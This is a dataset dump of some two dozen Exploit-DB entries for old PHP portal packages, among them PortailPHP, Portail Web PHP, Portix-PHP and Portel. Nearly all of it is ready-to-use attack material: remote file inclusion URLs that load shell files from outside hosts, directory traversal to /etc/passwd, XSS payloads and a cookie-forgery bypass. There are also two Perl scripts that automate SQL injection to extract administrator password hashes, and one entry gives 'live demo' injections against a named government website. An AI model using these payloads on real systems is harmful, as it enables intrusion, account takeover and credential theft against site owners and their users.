deardaniel/secdata-raw huggingface dataset:
Exploit-DB #3250
Description: Portail Web PHP 2.5.1 - 'includes.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-02-01
Author: laurent gaffiÃ©

Exploit:
php web portail [remote file include]
download site: https://sourceforge.net/project/showfiles.php?group_id=178400
product:php web portail
bug: remote file include
risk : high

remote file include :

/includes/includes.php?site_path=http://site.com/shell.txt?%00



laurent gaffié
http://s-a-p.ca/
contact: saps.audit@gmail.com

# milw0rm.com [2007-02-01]
Exploit-DB #31108
Description: Portail Web PHP 2.5.1 - 'item.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-02-04
Author: Psiczn

Exploit:
source: https://www.securityfocus.com/bid/27616/info
 
Portail Web Php is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
 
These issues affect Portail Web Php 2.5.1.1; other versions may also be affected. 

http://www.example.com/path/admin/system/menu/item.php?site_path=http://www.example2.com
Exploit-DB #31110
Description: Portail Web PHP 2.5.1 - 'login.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-02-04
Author: Psiczn

Exploit:
source: https://www.securityfocus.com/bid/27616/info
   
Portail Web Php is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
   
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
   
These issues affect Portail Web Php 2.5.1.1; other versions may also be affected. 

http://www.example.com/path/system/login.php?site_path=http://www.example2.com
Exploit-DB #5182
Description: Portail Web PHP 2.5.1.1 - Multiple Inclusion Vulnerabilities
Type: webapps
Platform: php
Date: 2008-02-24
Author: GoLd_M

Exploit:
### Portail Web Php <= 2.5.1.1 Multiple Remote/Local File Inclusion Vulnerabilities
### http://surfnet.dl.sourceforge.net/sourceforge/portail-web-php/PwP2.5.1.1.rar
### POC :
### I- Remote File Inclusion
### /PwP2.5.1.1/template/Vert/index.php?site_path=http://localhost/020.txt
### /PwP2.5.1.1/template/Noir/index.php?site_path=http://localhost/020.txt
### /PwP2.5.1.1/template/Bleu/index.php?site_path=http://localhost/020.txt
### II- Local File Inclusion
### /PwP2.5.1.1/?page=../../../../../../../../etc/passwd
### I'm Tryagi - Tryag.Cc/cc - Mahmood_ali  :) 

# milw0rm.com [2008-02-24]
Exploit-DB #25690
Description: PortailPHP 1.3 - 'ID' SQL Injection
Type: webapps
Platform: php
Date: 2005-05-23
Author: CENSORED Search Vulnerabilities

Exploit:
source: https://www.securityfocus.com/bid/13708/info

PortailPHP is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

#!/usr/bin/perl -w
#
# SQL Injection Exploit for Portail PHP < 1.3
# This exploit show the username of the administrator of the portal and his password crypted in MD5
# Related advisory: http://www.securityfocus.com/archive/1/398728/2005-05-21/2005-05-27/0
# Coded by Alberto Trivero

use LWP::Simple;

print "\n\t=================================\n";
print "\t= Exploit for Portail PHP < 1.3 =\n";
print "\t= Alberto Trivero - codebug.org =\n";
print "\t=================================\n\n";

if(!$ARGV[0] or !($ARGV[0]=~m/http/)) {
   print "Usage:\nperl $0 [full_target_path]\n\n";
   print "Examples:\nperl $0 http://www.example.com/portailphp/\n";
   exit(0);
}

$url=q[index.php?affiche=Liens&id=1%20UNION%20SELECT%20null,null,null,null,null,null,US_pwd,US_nom,null%20FROM%20pphp_user/*];
$page=get($ARGV[0].$url) || die "[-] Unable to retrieve: $!";
print "[+] Connected to: $ARGV[0]\n";
$page=~m/0000-00-00, 0  \)<\/i>     <br><br><br><br><\/td>   <\/tr>   <tr>     <td width='100%'>(.*?)<\/td>   <\/tr>/ && print "[+] Username of administrator
is: $1\n";
print "[-] Unable to retrieve username\n" if(!$1);
$page=~m/<img border='0' src='\.\/images\/ico_liens\.gif' >&nbsp;<b> <\/b>: (.*?)<\/td>/ && print "[+] MD5 hash of password is: $1\n";
print "[-] Unable to retrieve hash of password\n" if(!$1);
Exploit-DB #29565
Description: PortailPHP 2 - '/mod_news/goodies.php?chemin' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-02-03
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/22381/info
   
PortailPHP is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.
   
A successful exploit of these issues allows an attacker to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.
   
PortailPHP 2 is vulnerable to these issues; other versions may also be affected. 

http://www.example.com/mod_news/goodies.php?chemin=http://site.com/file.txt?%00
Exploit-DB #29563
Description: PortailPHP 2 - '/mod_news/goodies.php?chemin' Traversal Arbitrary File Access
Type: webapps
Platform: php
Date: 2007-02-03
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/22381/info
 
PortailPHP is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.
 
A successful exploit of these issues allows an attacker to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.
 
PortailPHP 2 is vulnerable to these issues; other versions may also be affected. 


http://www.example.com/mod_news/goodies.php?chemin=../../../../../../../../../../../../../etc/passwd%00
Exploit-DB #29564
Description: PortailPHP 2 - '/mod_news/index.php?chemin' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-02-03
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/22381/info
  
PortailPHP is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.
  
A successful exploit of these issues allows an attacker to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.
  
PortailPHP 2 is vulnerable to these issues; other versions may also be affected. 

http://www.example.com/mod_news/index.php?chemin=http://site.com/file.txt?%00
Exploit-DB #29562
Description: PortailPHP 2 - '/mod_news/index.php?chemin' Traversal Arbitrary File Access
Type: webapps
Platform: php
Date: 2007-02-03
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/22381/info

PortailPHP is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.

A successful exploit of these issues allows an attacker to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.

PortailPHP 2 is vulnerable to these issues; other versions may also be affected. 

http://www.example.commod_news/index.php?chemin=../../../../../../../../../../../../../etc/passwd%00
Exploit-DB #29566
Description: PortailPHP 2 - '/mod_search/index.php?chemin' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-02-03
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/22381/info
    
PortailPHP is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.
    
A successful exploit of these issues allows an attacker to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.
    
PortailPHP 2 is vulnerable to these issues; other versions may also be affected.
 
http://www.example.commod_search/index.php?chemin=http://site.com/file.txt?%00
Exploit-DB #3543
Description: PortailPhp 2.0 - 'idnews' SQL Injection
Type: webapps
Platform: php
Date: 2007-03-22
Author: Mehmet Ince

Exploit:
use LWP::Simple;
print "
Exploit Coded (c) by xoron
Portail PHP v20 (index.php) Remote SQL Injection Exploit
Languages: Turkish, English
Plz Select Language:";
$dil = <stdin>;
%eng = (
"site" => "Enter The Victim Without http://:",
"path" => "Plz Select Path:",
"id" => "Plz Select User ID:"
);
%turk = (
"site" => "Site Adi http:// ile baslayan:",
"path" => "Dizin:",
"id" => "ID: "
);
if($dil=~/^turkish$/i){
%dil = %turk;
}
elsif($dil=~/^english$/i){
%dil = %eng;
}
else{print "Undefined Language"; exit}
print $dil{site};
chop($site=<stdin>);
$site = "http://$site" if !($site=~/^http/);
print $dil{path};
chop($dir=<stdin>);
$dir = "/portailphp/" if !$dir;
print $dil{id};
chop($id =<stdin>);
$id = 2 if !$id;
print "Connecting to $site\n";
$sql = "index.php?affiche=Comment&act=lire&idnews=-1/**/union/**/select/**/0,";
$sql .= "1,2,US_pwd,4,5,6,7,8,9,10/**/from/**/pphp_user/**/where/**/US_uid=$id/*";
$get = get("$site$dir$sql");
if($get){
if($get=~/<td><strong>\&nbsp\;\&nbsp\;(.*?)<\/strong>/){
print "You are very Lucky Boy\nI Got Hash 4 ya\nID: $id\nHash: $1";
exit
}
elsif($get=~/<td><strong>(.*?)<\/strong>/){
print "Yep I got hash 4 ya\nID: $id\nHash: $1\n";
exit;
}
else{print "Exploit Failed\n";exit}
}
print "Connect Failed to $site\n";
exit;

# milw0rm.com [2007-03-22]
Exploit-DB #31679
Description: PortailPHP 2.0 - 'mod_search' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-04-21
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/28867/info

PortailPHP is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying computer; other attacks are also possible.

PortailPHP 2.0 is vulnerable; other versions may also be vulnerable. 


http://www.example.com/portailphp_path/mod_search/index.php?chemin=ZoRlu.txt
Exploit-DB #26072
Description: PortailPHP 2.4 - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-08-04
Author: abducter_minds@yahoo.com

Exploit:
source: https://www.securityfocus.com/bid/14474/info

Portail PHP is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

The consequences of this attack may vary depending on the type of queries that can be influenced, and the implementation of the database.

This issue is reported to affect Portail PHP version 2.4; Conflicting reports indicate this information may be inaccurate. 

http://www.example.com/portailphp/index.php?affiche=Forum-read_mess&id='
Exploit-DB #2271
Description: PortailPHP mod_phpalbum 2.1.5 - 'chemin' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-29
Author: Mehmet Ince

Exploit:
############################################################

#Portail PHP mod_phpalbum 2.15  Modules Remote File Inclusion Vulnerabilities

############################################################

#Author: XORON

############################################################

#Class: Remote

############################################################

#cont@ct: x0r0n[at]hotmail[dot]com

############################################################

#Code:  include_once ($chemin."conf/code.php")

############################################################

#Exploit: http://www.site.com/[path]/mod_phpalbum/sommaire_admin.php?chemin=http://evil_scripts?

############################################################

#Greetz: str0ke, Ironfist, Preddy, SHiKaA

############################################################

# milw0rm.com [2006-08-29]
Exploit-DB #10968
Description: portal modulnet 1.0 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2010-01-03
Author: Red-D3v1L

Exploit:
+===================================================================================+
            ./SEC-R1Z   _ __ _  _ _ _ ___ _ _ _ _   __  _ _ _ _ _           
            / /_ _ _ _ /   _ _\/   _ _ /\        \<   |/_ _ _ _ / 
            \ \_ _ _ _/  /___ /  /   __  |  |)   / |  |   /   /
             \_ _ _ _/  /___ /  /  | __ ||      /  |  |  /   /
              _______\  \_ _ \  \2_0_0_9 |      \  |  | /   /____
            /_ _ _ _ _\ _ _ _/\ _ _ _ /  |__|\ __\ |__|/_ _ _ _ _\ R.I.P MichaelJackson !!!!!
+===================================================================================+

    [?] ~ Note : sEc-r1z CrEw# r0x !
==============================================================================
    [?] Portal ModulNet <== 1.0 (Id) SQL Injection Vulnerability
==============================================================================
    [?] My home:              [ http://sec-r1z.com ]
    [?] Script:               [ Portal ModulNet 1.0 ]
    [?] Language:             [ PHP ]
    [?] Vendor                [http://portalmodulnet.com/]
    [?] Founder:              [ ./Red-D3v1L ]
    [?] Gr44tz to:            [ sec-r1z# Crew - Hackteach Team - My L0ve ~A~ ]
    [?] Fuck To :             [ Zombie_KsA << big big big L4m3r ] 
########################################################################
  
===[ Exploit SQL ]===
  
[»]SQL : [Path]/firmapage.php?id==[inj3ct C0dE]
 

==============================================================================

#sEc-r1z.com Str1kEz y0u !
Exploit-DB #9325
Description: PortalXP Teacher Edition 1.2 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2009-08-01
Author: SirGod

Exploit:
###########################################################################################################################################
[+] PortalXP - Teacher Edition 1.2 Multiple SQL Injection Vulnerabilities
[+] Discovered By SirGod
[+] http://insecurity-ro.org
[+] http://h4cky0u.org
###########################################################################################################################################

[+] Download : http://sourceforge.net/projects/portalxp/files/portalxp%20-%20teacher%20edition/Version%201.2/PortalXP1-2.zip/download

[+] SQL Injection

 - PoC's

   http://127.0.0.1/calendar.php?id=null+union+all+select+1,2,3,concat_ws(0x3a,email,teacherpass),5+from+teacher--

   http://127.0.0.1/news.php?id=null+union+all+select+1,2,3,concat_ws(0x3a,email,teacherpass),5+from+teacher--

   http://127.0.0.1/links.php?id=null+union+all+select+1,2,3,concat_ws(0x3a,email,teacherpass),5+from+teacher--

   http://127.0.0.1/assignments.php?assignment_id=1+union+all+select+1,2,3,4,concat_ws(0x3a,email,teacherpass),6,7,8,9+from+teacher--


###########################################################################################################################################

# milw0rm.com [2009-08-01]
Exploit-DB #9372
Description: Portel 2008 - 'decide.php?patron' Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-08-05
Author: Chip d3 bi0s

Exploit:
------------------------------------------------------------------------------
Portel (patron) Blind SQL-injection Vulnerability
------------------------------------------------------------------------------


 #####################################################
 # [+] Author        :  Chip D3 Bi0s                 #
 # [+] Email         :  chipdebios[alt+64]gmail.com  #
 # [+] Vulnerability :  Blind SQL injection          #
 # [+] Group         :  LatinHackTeam                #
 #####################################################

**********************************************************************
 Info Cms:
 * Name      : Portel
 * Web       : http://www.porteleditor.com
 * dowloand  : http://www.porteleditor.com/instalacion/portelv2008.zip
               http://rapidshare.com/files/263383411/portelv2008.zip.html
 * Country   : Colombia
               
**********************************************************************


Example:
http://localHost/path/libreria/php/decide.php?patron=n<Blind Sql Code>
n = patron valid


DEMO LIVE:

http://www.bogota.gov.co/portel/libreria/php/decide.php?patron=01.'+and+1=1/*
true

http://www.bogota.gov.co/portel/libreria/php/decide.php?patron=01.'+and+1=2/*
else

http://www.bogota.gov.co/portel/libreria/php/decide.php?patron=01.'+and+substring(@@version,1,1)=4/*
else

http://www.bogota.gov.co/portel/libreria/php/decide.php?patron=01.'+and+substring(@@version,1,1)=5/*
true


etc, etc....

+++++++++++++++++++++++++++++++++++++++
#[!] Produced in South America
+++++++++++++++++++++++++++++++++++++++

# milw0rm.com [2009-08-05]
Exploit-DB #34377
Description: Portili Personal and Team Wiki 1.14 - Multiple Vulnerabilities (2)
Type: webapps
Platform: php
Date: 2010-10-04
Author: Abysssec

Exploit:
source: https://www.securityfocus.com/bid/41973/info

Portili Personal and Team Wiki are prone to multiple security vulnerabilities. These vulnerabilities include a cross-site scripting vulnerability, an arbitrary-file-upload vulnerability, and multiple information-disclosure vulnerabilities.

Attackers can exploit these issues to obtain sensitive information, steal cookie-based authentication information, upload arbitrary files to the affected computer, and execute arbitrary script code in the context of the browser.

Personal Wiki 1.14 and Team Wiki 1.14 are vulnerable; other versions may also be affected. 

http://www.example.com/ajaxfilemanager/ajaxfilemanager.php?path=../uploads/&view=1<script>alert("abysssec")</script>
Exploit-DB #17515
Description: Portix-CMS 1.5.0. rc5 - Local File Inclusion
Type: webapps
Platform: php
Date: 2011-07-09
Author: Or4nG.M4N

Exploit:
-==================== in The Name Of aLLah ====================- 
# Title: Portix-CMS 1.5.0. rc5 Local File Inclusion
# Google Dork: inurl:livriel.php?livriel=
# Date: n/a
# Author: Or4nG.M4n
# Link: http://www.easy-script.com/scripts-PHP/portix-cms-150-rc5-3005.html
# Version: v1.5.0. rc5
# Tested on: windows 8
# Home : 1337r1z.wordpress.com | sec4ever.com | Tryag.cc | cc.7rs.org

~ ( Exploit Local File ) ~ 

1 . http://<=- Domain -=>/<=- Path -=>/print.php?page=../../../../../../../../../../[LFI]

~ ( Greetz ) ~
<=[  sA^Dev!L , i-Hmx , Fox ,  Lagripe-dz , And Welcome back sec4ever.com ... ]=>
-==================== in The Name Of aLLah ====================-
Exploit-DB #21277
Description: Portix-PHP 0.4 - 'index.php' Directory Traversal
Type: webapps
Platform: php
Date: 2002-02-04
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/4038/info

Portix-PHP is freely available web portal software. It is written in PHP and will run on most Unix and Linux variants.

Portix-PHP is prone to directory traversal attacks. The script index.php does not sufficiently filter '../' sequences from web requests, making it possible for an attacker to browse the filesystem of the host running the vulnerable software. Arbitrary web-readable files may be viewed by an attacker.

Successful exploitation may cause sensitive information to be disclosed to the attacker. Information gathered in this manner may be used to aid in further attacks against the host. 

www.hostportix.com/index.php?l=../../../etc/passwd
Exploit-DB #21278
Description: Portix-PHP 0.4 - 'view.php' Directory Traversal
Type: webapps
Platform: php
Date: 2002-02-04
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/4039/info

Portix-PHP is freely available web portal software. It is written in PHP and will run on most Unix and Linux variants.

Portix-PHP is prone to directory traversal attacks. The script view.php does not sufficiently filter '../' sequences from web requests, making it possible for an attacker to browse the filesystem of the host running the vulnerable software. Arbitrary web-readable files may be viewed by an attacker.

Successful exploitation may cause sensitive information to be disclosed to the attacker. Information gathered in this manner may be used to aid in further attacks against the host.

www.hostportix.com/index.php?l=forum/view.php&topic=../../../etc/passwd
Exploit-DB #21279
Description: Portix-PHP 0.4 - Cookie Manipulation
Type: webapps
Platform: php
Date: 2002-02-04
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/4041/info

Portix-PHP is freely available web portal software. It is written in PHP and will run on most Unix and Linux variants.

Portix-PHP uses non-expiring cookies for session management. It is possible for a malicious user to manipulate values in their cookie to gain access to administrative pages on the web portal.

Successful hijacking of the administrative account will permit the malicious user to access all of the web portal's administrative facilities.

Change the values in the stored cookie to the following:

name=access value=ok
Exploit-DB #28946
Description: Portix-PHP 0.4.2 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2006-11-08
Author: Benjamin Moss

Exploit:
source: https://www.securityfocus.com/bid/20974/info

Portix-PHP is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

Portix version 0.4.2 is vulnerable; earlier versions may also be affected.

http://www.example.com/simplog/archive.php?blogid=
http://www.example.com/simplog/archive.php?blogid=1&pid=
http://www.example.com/simplog/index.php?blogid=
Exploit-DB #27946
Description: Portix-PHP 2-0.3.2 Portal - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-06-02
Author: SpC-x

Exploit:
source: https://www.securityfocus.com/bid/18227/info

Portix-PHP is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/index.php?l=[XSS]
http://www.example.com/forum.php?l=[XSS]
http://www.example.com/articles.php?l=[XSS]